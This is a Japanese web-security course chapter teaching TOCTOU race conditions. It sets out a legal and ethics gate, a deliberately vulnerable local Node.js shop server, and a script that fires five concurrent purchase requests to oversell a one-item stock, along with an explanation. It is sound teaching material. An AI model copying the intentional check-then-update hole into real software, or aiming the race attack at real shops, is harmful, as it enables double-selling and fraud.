コース目次 / 第2章
競合状態 — 確認と実行の、隙間を突く
在庫1個の自作ショップに、同時に5件の購入リクエストを送り、在庫がマイナスになる(二重に売れてしまう)TOCTOUを再現します。確認から実行までの隙間がなぜ生まれるかを理解します。
「在庫1個」の商品を、同時に複数の利用者が買おうとしたら——本来、成功するのは1人だけのはずです。この章では、それが崩れる瞬間を、自分の手で起こします。
法と倫理ゲート
手を動かす前に
このコースは攻撃の技術に触れます。実習してよい相手は、次の3つだけです。
- (a) 自分で作った練習用のやられ環境(このサイトが配る自作ターゲット)
- (b) あなた自身の許可された環境(自分の Thousand SKY・secret-notes-ctf など)
- (c) CTF 競技の中(規約の範囲で)
実在する第三者のシステムを許可なく触ることは、不正アクセス禁止法に触れます。 このゲートは、その線引きを毎回の入口で確かめるためのものです。詳しくは「セキュリティの法と倫理」へ。
標的 — 在庫1個の、限定商品
下を race-shop.js として保存します。「在庫確認」と「在庫を減らす」の間に、決済処理を模した待ち時間を挟んであります(実務でも、決済APIの呼び出しなど、時間のかかる処理が挟まるのはよくあることです)。
// race-shop.js — 在庫1個の限定商品。127.0.0.1:3930。確認と減算の間に隙間がある(TOCTOU)。
const http = require('node:http');
let stock = 1; // 在庫は1個だけ
http.createServer(async (req, res) => {
const url = new URL(req.url, 'http://127.0.0.1:3930');
res.setHeader('Content-Type', 'application/json; charset=utf-8');
if (url.pathname === '/buy' && req.method === 'POST') {
// 【穴: TOCTOU】「確認」と「減算」の間に、決済処理を模した待ち時間がある。
// この隙間に、別のリクエストの「確認」が割り込める。
if (stock > 0) {
await new Promise((r) => setTimeout(r, 50)); // 決済処理のつもり(時間がかかる)
stock -= 1;
res.end(JSON.stringify({ ok: true, message: '購入成功。残り在庫: ' + stock }));
} else {
res.end(JSON.stringify({ ok: false, message: '売り切れです' }));
}
return;
}
if (url.pathname === '/stock') { res.end(JSON.stringify({ stock })); return; }
res.end('ok');
}).listen(3930, '127.0.0.1', () => console.log('限定商品ショップ: http://127.0.0.1:3930 (Ctrl+C で停止)'));
node race-shop.js
1人で買う分には、正しく動く
在庫1個の商品を、1回だけ買ってみます。
curl -X POST http://127.0.0.1:3930/buy
# => {"ok":true,"message":"購入成功。残り在庫: 0"}
curl -X POST http://127.0.0.1:3930/buy
# => {"ok":false,"message":"売り切れです"}
順番に買う分には、2人目はちゃんと「売り切れ」になります。問題は、同時に来たときです。
攻撃 — 同時に、5人で買う
在庫を1個に戻して(サーバを再起動)、今度は5件のリクエストを、間を置かず同時に送ります。race-attack.js として保存し、node の fetch で並行に投げます。
// race-attack.js — 在庫1個の商品に、5件同時に購入リクエストを送る。
async function main() {
const results = await Promise.all(
Array.from({ length: 5 }, () =>
fetch('http://127.0.0.1:3930/buy', { method: 'POST' }).then((r) => r.json())
)
);
const success = results.filter((r) => r.ok).length;
console.log('結果:', results);
console.log('成功件数:', success, '(在庫は1個だったはず)');
}
main();
node race-shop.js & # サーバを起動(stock=1 から開始)
node race-attack.js # 5件同時に購入を試す
結果を見ると、成功件数が2件以上になっています(実行するたびに件数は変わりますが、複数件が ok:true になります)。在庫は1個しかなかったのに、複数の利用者が「購入成功」を受け取った。/stock を確認すると、在庫がマイナスになっていることさえあります。
なぜ、こんなことが起きるのか
原因を、時間の流れで追います。
5件のリクエストが、ほぼ同時にサーバへ届きます。それぞれのリクエストは、まず stock > 0 を確認——この時点で、まだ誰も在庫を減らしていないので、5件とも「在庫あり」と判定されます。
そのあと、それぞれが 50ms 待って(決済処理のつもり)から、在庫を1個ずつ減らす。でも、減らす前に「確認」を済ませてしまっているので、5件とも「自分は在庫があるうちに買えた」と思い込んだまま処理が進み、全員が成功してしまう。
「確認(Time-Of-Check)」と「実行(Time-Of-Use)」の間に隙間があり、その隙間に他のリクエストが割り込める——これが TOCTOU です。JavaScript は1つのスレッドで動きますが、await で待っている間は他のリクエストの処理が割り込める——ここが穴の生まれる場所です。
持ち帰る一言
確認してから実行するまでに、隙間がある。 決済処理のような「時間のかかる何か」を、在庫チェックと在庫の更新の間に挟むと、その隙間に別のリクエストが割り込んで、同時に複数が「成功」してしまう。スキャナは1つずつしか送らないので、この穴には気づけません。次の章で、この隙間そのものを無くす直しを入れます。
こうなっていればOK
卒業まであと2章です。
この章はまだ完了していません。
保存できませんでした(プライベートブラウズ中かもしれません)。この端末に進捗は残りませんが、先へは進めます。